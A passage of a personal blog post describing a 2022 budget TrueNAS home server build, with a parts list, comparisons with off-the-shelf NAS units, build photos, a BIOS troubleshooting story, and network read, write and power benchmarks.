&lt;p>Many ZFS builds include a separate, dedicated SSD called the &lt;a href="https://www.truenas.com/docs/references/slog/">SLOG (separate intent log)&lt;/a>.&lt;/p>
&lt;p>The idea is that writing to an SSD is orders of magnitude faster than writing to multiple spinning disks. When an application writes data, ZFS can quickly write it to the SSD, tell the application that the write succeeded, then asynchronously move the data from the SSD to the storage pool. The SLOG &lt;a href="https://www.servethehome.com/exploring-best-zfs-zil-slog-ssd-intel-optane-nand/">improves write speeds&lt;/a> significantly.&lt;/p>
&lt;p>I chose not to integrate a SLOG disk because I&amp;rsquo;m limited by ports and drive bays. Adding a SLOG disk meant either forfeiting my only PCI slot or one of my six drive bays. I&amp;rsquo;d rather leave myself room to expand capacity later.&lt;/p>
&lt;h2 id="parts-list">Parts list&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Component&lt;/th>
 &lt;th>I paid&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>CPU&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/amd-athlon-3000g/p/274-000M-001B8">AMD Athlon 3000G&lt;/a>&lt;/td>
 &lt;td>$105.13&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Motherboard&lt;/td>
 &lt;td>&lt;a href="https://www.asus.com/Motherboards-Components/Motherboards/PRIME/PRIME-A320I-K/">ASUS Prime A320I-K&lt;/a>*&lt;/td>
 &lt;td>$97.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphics&lt;/td>
 &lt;td>None needed — motherboard has native graphics support&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk (OS)&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/kingston-a400-120gb/p/N82E16820242474">Kingston A400 120GB&lt;/a>&lt;/td>
 &lt;td>$31.90&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Memory&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/corsair-32gb-288-pin-ddr4-sdram/p/N82E16820233854">CORSAIR Vengeance LPX 32GB CMK32GX4M2A2400C14 (2 x 16GB)&lt;/a>&lt;/td>
 &lt;td>$127.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Power&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/evga-500-bq-110-bq-0500-k1-500w/p/N82E16817438101">EVGA 110-BQ-0500-K1 500W 80+ Bronze Semi-Modular&lt;/a>&lt;/td>
 &lt;td>$44.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Case&lt;/td>
 &lt;td>&lt;a href="hhttps://www.newegg.com/black-fractal-design-node-304-mini-itx-tower/p/N82E16811352027">Fractal Design Node 304 Black&lt;/a>&lt;/td>
 &lt;td>$99.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>SATA cables&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/p/N82E16812162042">Silverstone Tek Ultra Thin Lateral 90 Degree SATA Cables&lt;/a> (x2)&lt;/td>
 &lt;td>$22.30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>&lt;em>Total (without disks)&lt;/em>&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>&lt;strong>&lt;em>$530.29&lt;/em>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk (Storage)&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/toshiba-n300-hdwg480xzsta-8tb/p/N82E16822149793">Toshiba N300 HDWG480XZSTA 8TB 7200 RPM&lt;/a> (x2)&lt;/td>
 &lt;td>$372.79&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk (Storage)&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/seagate-ironwolf-st8000vn004-8tb/p/N82E16822184796">Seagate IronWolf 8TB NAS Hard Drive 7200 RPM&lt;/a> (x2)&lt;/td>
 &lt;td>$359.98&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>&lt;strong>$1,263.06&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* Caveat: This motherboard may not work out of the box with the AMD Athlon 3000G CPU. See details &lt;a href="https://mtlynch.io/budget-nas/#is-this-bios-version-incompatible-or-am-i-an-idiot">below&lt;/a>.&lt;/p>
&lt;h2 id="compared-to-off-the-shelf-products">Compared to off-the-shelf products&lt;/h2>
&lt;p>For comparison, here are some off-the-shelf solutions at similar price points.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Product&lt;/th>
 &lt;th>2022 Budget NAS&lt;/th>
 &lt;th>Synology DS920+&lt;/th>
 &lt;th>QNAP TS-473A-8G-US&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Disk bays&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>4&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RAM&lt;/td>
 &lt;td>32 GB&lt;/td>
 &lt;td>4 GB&lt;/td>
 &lt;td>4 GB&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Max RAM&lt;/td>
 &lt;td>32 GB&lt;/td>
 &lt;td>8 GB&lt;/td>
 &lt;td>8 GB&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>CPU benchmark&lt;/td>
 &lt;td>&lt;a href="https://www.cpubenchmark.net/cpu.php?cpu=AMD+Athlon+3000G&amp;amp;id=3614">4479&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.cpubenchmark.net/cpu.php?cpu=Intel+Celeron+J4125+%40+2.00GHz&amp;amp;id=3667">3002&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.cpubenchmark.net/cpu.php?cpu=AMD+Ryzen+Embedded+V1500B&amp;amp;id=4304">4588&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Price&lt;/td>
 &lt;td>$530.29&lt;/td>
 &lt;td>$549.99&lt;/td>
 &lt;td>$549&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The total cost of my build is similar to off-the-shelf solutions, but I get more value for my money. I have 8x as much RAM, and I&amp;rsquo;m not locked in to any closed-source, vendor-specific OS platform.&lt;/p>
&lt;h2 id="build-photos">Build photos&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/all-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/all-parts_hu_4301c536aa984f.jpg 300w, https://mtlynch.io/budget-nas/all-parts_hu_f3201880069950e2.jpg 600w, https://mtlynch.io/budget-nas/all-parts_hu_4abc7a235f67eea4.jpg 800w, https://mtlynch.io/budget-nas/all-parts_hu_90fb21018b3b948f.jpg 1200w, https://mtlynch.io/budget-nas/all-parts.jpg 2000w'
 src="https://mtlynch.io/budget-nas/all-parts.jpg" alt="Photo of parts in retail packages" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>All the parts in their retail boxes&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/motherboard-installed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/motherboard-installed_hu_5d3889c91f9ba55a.jpg 300w, https://mtlynch.io/budget-nas/motherboard-installed_hu_b17277c01f742cb3.jpg 600w, https://mtlynch.io/budget-nas/motherboard-installed_hu_db23409786f7081e.jpg 800w, https://mtlynch.io/budget-nas/motherboard-installed_hu_886c214b629c1827.jpg 1200w, https://mtlynch.io/budget-nas/motherboard-installed.jpg 2000w'
 src="https://mtlynch.io/budget-nas/motherboard-installed.jpg" alt="Photo of motherboard in the case" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I had no issues installing the motherboard in the Fractal Design mini-ITX case.&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/ssd-installed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/ssd-installed_hu_d2a72639c8525c36.jpg 300w, https://mtlynch.io/budget-nas/ssd-installed_hu_cdf8094841769915.jpg 600w, https://mtlynch.io/budget-nas/ssd-installed_hu_58129d6784f92f95.jpg 800w, https://mtlynch.io/budget-nas/ssd-installed_hu_e79dbc9d569f2190.jpg 1200w, https://mtlynch.io/budget-nas/ssd-installed.jpg 2000w'
 src="https://mtlynch.io/budget-nas/ssd-installed.jpg" alt="Photo of motherboard with M.2 SSD installed" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I love installing M.2 SSDs. No wires or rails — one screw, and you&amp;rsquo;re done.&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/psu-installed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/psu-installed_hu_a82707b1c460911c.jpg 300w, https://mtlynch.io/budget-nas/psu-installed_hu_64b0dfc7c6eea005.jpg 600w, https://mtlynch.io/budget-nas/psu-installed_hu_1392a9116d4cab0a.jpg 800w, https://mtlynch.io/budget-nas/psu-installed_hu_2148c5fe65c75125.jpg 1200w, https://mtlynch.io/budget-nas/psu-installed.jpg 2000w'
 src="https://mtlynch.io/budget-nas/psu-installed.jpg" alt="Photo of PSU installed" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>This is the first system I&amp;rsquo;ve ever built that doesn&amp;rsquo;t expose the back face of the PSU outside of the case. Instead, the case has a short NEMA extension cable that routes the internal PSU to the case&amp;rsquo;s own external power input.&lt;/p>&lt;/figcaption>
&lt;/figure>




&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/budget-nas/90-degree-sata-installed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/budget-nas/90-degree-sata-installed_hu_334858e10f24ac92.jpg 300w, https://mtlynch.io/budget-nas/90-degree-sata-installed_hu_ed6f4f5d315c4cd8.jpg 600w, https://mtlynch.io/budget-nas/90-degree-sata-installed_hu_63be2b119911849a.jpg 800w, https://mtlynch.io/budget-nas/90-degree-sata-installed_hu_2b6794d3d930ab28.jpg 1200w, https://mtlynch.io/budget-nas/90-degree-sata-installed.jpg 2000w'
 src="https://mtlynch.io/budget-nas/90-degree-sata-installed.jpg" alt="Photo of SATA cables before PSU is installed" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 280px">



 &lt;a href="https://mtlynch.io/budget-nas/sata-just-barely.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 280px, 98vw"
 srcset='https://mtlynch.io/budget-nas/sata-just-barely_hu_1942d8630c668950.jpg 300w, https://mtlynch.io/budget-nas/sata-just-barely_hu_3b8888ec5fc324be.jpg 600w, https://mtlynch.io/budget-nas/sata-just-barely_hu_30efb68661cbb57e.jpg 800w, https://mtlynch.io/budget-nas/sata-just-barely_hu_445eb66a963902a8.jpg 1200w, https://mtlynch.io/budget-nas/sata-just-barely.jpg 1500w'
 src="https://mtlynch.io/budget-nas/sata-just-barely.jpg" alt="Photo of SATA cables with just barely enough space next to the PSU" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>It was such a tight squeeze between the motherboard&amp;rsquo;s SATA ports and the PSU that I had to buy special 90-degree slim SATA cables.&lt;/p>&lt;/figcaption>
&lt;/figure>














 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/cpu-ram-pwr.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/cpu-ram-pwr_hu_f90905b384d19c0b.jpg 300w, https://mtlynch.io/budget-nas/cpu-ram-pwr_hu_fead074b0780bd1.jpg 600w, https://mtlynch.io/budget-nas/cpu-ram-pwr_hu_6122f81019dd87f3.jpg 800w, https://mtlynch.io/budget-nas/cpu-ram-pwr_hu_3e8b83559ca01fc.jpg 1200w, https://mtlynch.io/budget-nas/cpu-ram-pwr.jpg 2000w'
 src="https://mtlynch.io/budget-nas/cpu-ram-pwr.jpg" alt="Photo of motherboard with everything connected" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>After connecting everything to the motherboard (except for the CPU fan)&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/completed-build.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/completed-build_hu_ef1cf4b5aba35a8e.jpg 300w, https://mtlynch.io/budget-nas/completed-build_hu_aaed93eab60d1167.jpg 600w, https://mtlynch.io/budget-nas/completed-build_hu_467877c283a68e4a.jpg 800w, https://mtlynch.io/budget-nas/completed-build_hu_4029380e4c4ebee6.jpg 1200w, https://mtlynch.io/budget-nas/completed-build.jpg 2000w'
 src="https://mtlynch.io/budget-nas/completed-build.jpg" alt="Photo of NAS server on my desk" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The completed build&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="building-the-server-with-tinypilot">Building the server with TinyPilot&lt;/h2>
&lt;p>Longtime readers of this blog may recall that I used the Raspberry Pi to create a tool specifically for building and managing servers. It&amp;rsquo;s called &lt;a href="https://mtlynch.io/tinypilot/">TinyPilot&lt;/a>. This was the third server I&amp;rsquo;ve built with TinyPilot and the first I built with the new &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2">TinyPilot Voyager 2&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/budget-nas/voyager2-install.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/budget-nas/voyager2-install_hu_f9f725ca5c0c8666.jpg 300w, https://mtlynch.io/budget-nas/voyager2-install_hu_b3f745e7dfe6542f.jpg 600w, https://mtlynch.io/budget-nas/voyager2-install_hu_56c60dc4cf94dddf.jpg 800w, https://mtlynch.io/budget-nas/voyager2-install_hu_fe86eb96b80cebb.jpg 1200w, https://mtlynch.io/budget-nas/voyager2-install.jpg 1600w'
 src="https://mtlynch.io/budget-nas/voyager2-install.jpg" alt="Photo of Voyager 2 PoE device on top of TrueNAS server" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Instead of connecting a keyboard, mouse, and monitor to the TrueNAS server, I managed the installation with a &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2">TinyPilot Voyager 2&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m obviously biased, but building this server with the Voyager 2 was a lot of fun! I never had to connect a keyboard or monitor to the server. I could see video output, boot to BIOS, and mount the TrueNAS installer image all from my web browser.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/tinypilot-install-truenas.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/tinypilot-install-truenas_hu_1a81a2a26efe3318.png 300w, https://mtlynch.io/budget-nas/tinypilot-install-truenas_hu_2bb3b4436eab9138.png 600w, https://mtlynch.io/budget-nas/tinypilot-install-truenas_hu_48c4d91484e5f0f.png 800w, https://mtlynch.io/budget-nas/tinypilot-install-truenas_hu_b71f68af23541e4.png 1200w, https://mtlynch.io/budget-nas/tinypilot-install-truenas.png 1920w'
 src="https://mtlynch.io/budget-nas/tinypilot-install-truenas.png" alt="Photo of motherboard with everything connected" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot allows me to mount the TrueNAS installer ISO without plugging in a flash drive, keyboard, or monitor.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The one gap I ran into was in upgrading the BIOS. TinyPilot can mount disk images like &lt;code>.img&lt;/code> and &lt;code>.iso&lt;/code> files, but it doesn&amp;rsquo;t yet know how to share raw files with the target computer. When I needed to load the &lt;code>.CAP&lt;/code> file for the ASUS BIOS upgrade, I shamefully put them on a USB thumb drive instead of keeping it a pure TinyPilot build. I hope to add support for that scenario soon so that TinyPilot can handle my next BIOS upgrade.&lt;/p>
&lt;h2 id="is-this-bios-version-incompatible-or-am-i-an-idiot">Is this BIOS version incompatible? Or am I an idiot?&lt;/h2>
&lt;p>When I got all the components installed, the system powered on, but there was no video display.&lt;/p>
&lt;p>Oh no! Did I misunderstand the motherboard&amp;rsquo;s onboard video requirements? I did all the usual diagnostics: reseated the RAM, reseated the CPU, and checked all the cables — same result.&lt;/p>
&lt;p>After some panicked Googling, I saw mentions that the ASUS Prime A320I-K requires a BIOS upgrade before it can work with the Athlon 3000G. I recalled seeing that warning when I was selecting parts and breezing right by it. &amp;ldquo;I&amp;rsquo;ve done BIOS updates,&amp;rdquo; I thought. &amp;ldquo;They&amp;rsquo;re no big deal!&amp;rdquo;&lt;/p>
&lt;p>I didn&amp;rsquo;t consider how I&amp;rsquo;d upgrade my BIOS &lt;em>without a CPU&lt;/em>.&lt;/p>
&lt;p>Luckily, the Ryzen 7 CPU from my &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">2017 homelab VM server&lt;/a> was &lt;a href="https://www.asus.com/us/Motherboards-Components/Motherboards/PRIME/PRIME-A320I-K/HelpDesk_CPU/">compatible&lt;/a> with the ASUS Prime A320. I borrowed the CPU and GPU from that server, and I got my new NAS server to boot!&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/boot-2203.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/boot-2203_hu_fbdb1b37e46b61fa.jpg 300w, https://mtlynch.io/budget-nas/boot-2203_hu_5fc5c4afddceb014.jpg 600w, https://mtlynch.io/budget-nas/boot-2203_hu_c57ce7a7173aa726.jpg 800w, https://mtlynch.io/budget-nas/boot-2203_hu_b6799ed7977a2c75.jpg 1200w, https://mtlynch.io/budget-nas/boot-2203.jpg 1920w'
 src="https://mtlynch.io/budget-nas/boot-2203.jpg" alt="Screenshot of ASUS BIOS at version 2203" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I was able to use parts from my old &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">2017 homelab VM server&lt;/a> to upgrade the BIOS.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Strangely, even after I got the system to boot with borrowed parts, the motherboard reported that it was running BIOS version 2203, which ASUS claims &lt;em>is&lt;/em> compatible with the AMD Athlon 3000G CPU. But I updated to the latest BIOS, which was 5862.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 968px">



 &lt;a href="https://mtlynch.io/budget-nas/a320i-k-compat.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 968px, 98vw"
 srcset='https://mtlynch.io/budget-nas/a320i-k-compat_hu_c15fa789a2d1065c.png 300w, https://mtlynch.io/budget-nas/a320i-k-compat_hu_49c3a0c1de7374df.png 600w, https://mtlynch.io/budget-nas/a320i-k-compat_hu_a37f5bdd773d9d69.png 800w, https://mtlynch.io/budget-nas/a320i-k-compat.png 966w'
 src="https://mtlynch.io/budget-nas/a320i-k-compat.png" alt="Screenshot of ASUS support page saying ASUS Prime A320I-K supports Athlon 3000G at version 2203" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The ASUS Prime A320I-K &lt;a href="https://www.asus.com/Motherboards-Components/Motherboards/PRIME/PRIME-A320I-K/HelpDesk_CPU/">CPU compatibility page&lt;/a> claims it&amp;rsquo;s compatible with the Athlon 3000G starting at BIOS version 2203.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After upgrading to 5862, I &lt;em>still&lt;/em> couldn&amp;rsquo;t get a boot. Then, I realized that I was plugging my HDMI cable into the server&amp;rsquo;s DisplayPort output.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/budget-nas/hdmi-vs-dp.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/budget-nas/hdmi-vs-dp_hu_6c8c719a7683d98a.jpg 300w, https://mtlynch.io/budget-nas/hdmi-vs-dp_hu_eb4215a5f45c9a72.jpg 600w, https://mtlynch.io/budget-nas/hdmi-vs-dp_hu_766c1ed57ba87f08.jpg 800w, https://mtlynch.io/budget-nas/hdmi-vs-dp_hu_159602252a98228c.jpg 1200w, https://mtlynch.io/budget-nas/hdmi-vs-dp.jpg 2488w'
 src="https://mtlynch.io/budget-nas/hdmi-vs-dp.jpg" alt="Screenshot of TrueNAS web dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Why did the DisplayPort designers make it so easy to plug in HDMI cables by mistake?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Was this whole parts-borrowing rigamarole even necessary? There are two possibilities:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m dumb and didn&amp;rsquo;t notice my HDMI cable plugged into the motherboard&amp;rsquo;s DisplayPort output until after I upgraded the BIOS.&lt;/li>
&lt;li>ASUS is dumb, and they incorrectly listed the Athlon 3000G as compatible with BIOS version 2203 when it isn&amp;rsquo;t.&lt;/li>
&lt;/ul>
&lt;p>Normally, I&amp;rsquo;d accept the blame, but the ASUS BIOS was so flaky that the problem might have been on the ASUS side. In any case, I was relieved to finally boot the NAS without any borrowed parts.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/budget-nas/3000g-boot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/budget-nas/3000g-boot_hu_b5e699f39b0f8c0.png 300w, https://mtlynch.io/budget-nas/3000g-boot_hu_d1fad1566a58b4b8.png 600w, https://mtlynch.io/budget-nas/3000g-boot_hu_d5cc4a007e974eee.png 800w, https://mtlynch.io/budget-nas/3000g-boot_hu_ad2f7ea86746d1df.png 1200w, https://mtlynch.io/budget-nas/3000g-boot.png 1920w'
 src="https://mtlynch.io/budget-nas/3000g-boot.png" alt="Screenshot of point in video when I get first boot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The moment I finally got a boot screen with the Athlon 3000G installed&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="performance-benchmarks">Performance benchmarks&lt;/h2>
&lt;p>One of the surprises to me in writing this up was that I couldn&amp;rsquo;t find any good benchmarking tools for measuring NAS performance. There are tools that run on the NAS itself to benchmark local disk I/O, but that doesn&amp;rsquo;t reflect real-world usage. Most of my usage is over the network, so a local disk benchmark will completely miss bottlenecks in the networking stack.&lt;/p>
&lt;p>I just made up my own rudimentary benchmark. I &lt;a href="https://github.com/mtlynch/dummy_file_generator">generated two sets of random file data&lt;/a> and then used &lt;a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy">robocopy&lt;/a> to measure read and write speeds between my main desktop and my NAS. This was by no means a rigorous test — I didn&amp;rsquo;t do it on an isolated network, and I didn&amp;rsquo;t shut down all other processes on my desktop while running the test. I ran the same tests against my old Synology DS412+ as a comparison.&lt;/p>
&lt;p>The first file set was 20 GiB of 1 GiB files, and the other was 3 GiB of 1 MiB files. I took the average of three trials over both encrypted volumes and unencrypted volumes.&lt;/p>
&lt;p>Performance topped out at 111 MiB/s (931 Mbps), which is suspiciously close to 1 Gbps. This suggests that the limiting factor is my networking hardware, as my switch, my desktop, and the NAS servers all have 1 Gbps Ethernet ports.&lt;/p>
&lt;h3 id="read-performance">Read performance&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 741px">



 &lt;a href="https://mtlynch.io/budget-nas/read-perf-unencrypted.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 741px, 98vw"
 srcset='https://mtlynch.io/budget-nas/read-perf-unencrypted_hu_a7f2e393dab6ff69.png 300w, https://mtlynch.io/budget-nas/read-perf-unencrypted_hu_31a71dd9c8cd1eef.png 600w, https://mtlynch.io/budget-nas/read-perf-unencrypted.png 739w'
 src="https://mtlynch.io/budget-nas/read-perf-unencrypted.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For unencrypted volumes, I was surprised to see my rusty, 7-year-old Synology outperform my shiny, new TrueNAS build. Synology was 31% faster at reading small files and 10% faster on large files.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 741px">



 &lt;a href="https://mtlynch.io/budget-nas/read-perf-encrypted.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 741px, 98vw"
 srcset='https://mtlynch.io/budget-nas/read-perf-encrypted_hu_2f38bcddc3dcc989.png 300w, https://mtlynch.io/budget-nas/read-perf-encrypted_hu_d12fe960cc1fc2a6.png 600w, https://mtlynch.io/budget-nas/read-perf-encrypted.png 739w'
 src="https://mtlynch.io/budget-nas/read-perf-encrypted.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Synology&amp;rsquo;s glory was short-lived, as it completely choked on encryption. Synology&amp;rsquo;s read speeds dropped by 67-75% on encrypted volumes, whereas encryption had no effect on TrueNAS. That allowed TrueNAS to outperform Synology by 2.3x for small files and 3x for large files on an encrypted volume. I keep most of my data on encrypted volumes, so this test more accurately represents my typical usage.&lt;/p>
&lt;h3 id="write-performance">Write performance&lt;/h3>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 743px">



 &lt;a href="https://mtlynch.io/budget-nas/write-perf-unencrypted.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 743px, 98vw"
 srcset='https://mtlynch.io/budget-nas/write-perf-unencrypted_hu_2d144a7d86f0ae5a.png 300w, https://mtlynch.io/budget-nas/write-perf-unencrypted_hu_9fe632732da56ee8.png 600w, https://mtlynch.io/budget-nas/write-perf-unencrypted.png 741w'
 src="https://mtlynch.io/budget-nas/write-perf-unencrypted.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Although my old Synology managed to outshine TrueNAS on reads, this was not the case for writes. Even on an unencrypted volume, TrueNAS was 77% faster on small files, and the two systems performed similarly on 1 GiB files.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 743px">



 &lt;a href="https://mtlynch.io/budget-nas/write-perf-encrypted.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 743px, 98vw"
 srcset='https://mtlynch.io/budget-nas/write-perf-encrypted_hu_14b60ff203aa1784.png 300w, https://mtlynch.io/budget-nas/write-perf-encrypted_hu_755b9462e047ca8.png 600w, https://mtlynch.io/budget-nas/write-perf-encrypted.png 741w'
 src="https://mtlynch.io/budget-nas/write-perf-encrypted.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Again, bringing encryption into the mix obliterates Synology&amp;rsquo;s write performance. With encryption enabled, TrueNAS was 5.2x faster on small files and 3.2x faster on large files.&lt;/p>
&lt;h3 id="power-consumption">Power consumption&lt;/h3>
&lt;p>I used a &lt;a href="http://www.p3international.com/products/p4460.html">Kill A Watt P4460 meter&lt;/a> to measure power consumption on both my old Synology and the new TrueNAS server:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>&lt;/th>
 &lt;th>Synology DS412+&lt;/th>
 &lt;th>2022 NAS&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Idle&lt;/td>
 &lt;td>38 W&lt;/td>
 &lt;td>60 W&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Load&lt;/td>
 &lt;td>43 W&lt;/td>
 &lt;td>67 W&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The new server uses 60% more power than my old Synology, which is a bit surprising. I pay about $0.17/kWh, so the server costs around $7.20/month to run.&lt;/p>
&lt;p>I don&amp;rsquo;t know much about what factors drive up the power draw, but one possibility is the PSU. Synology probably has a PSU that&amp;rsquo;s perfectly sized to its other components, whereas my 500 W PSU is likely inefficient at powering a system that requires only 15% of its capacity.&lt;/p>
&lt;h2 id="final-thoughts">Final thoughts&lt;/h2>
&lt;h3 id="motherboard-1">Motherboard&lt;/h3>
&lt;p>My biggest complaint about the ASUS Prime A320I-K was its limited compatibility, but it&amp;rsquo;s possible that I&amp;rsquo;m mistaken.&lt;/p>
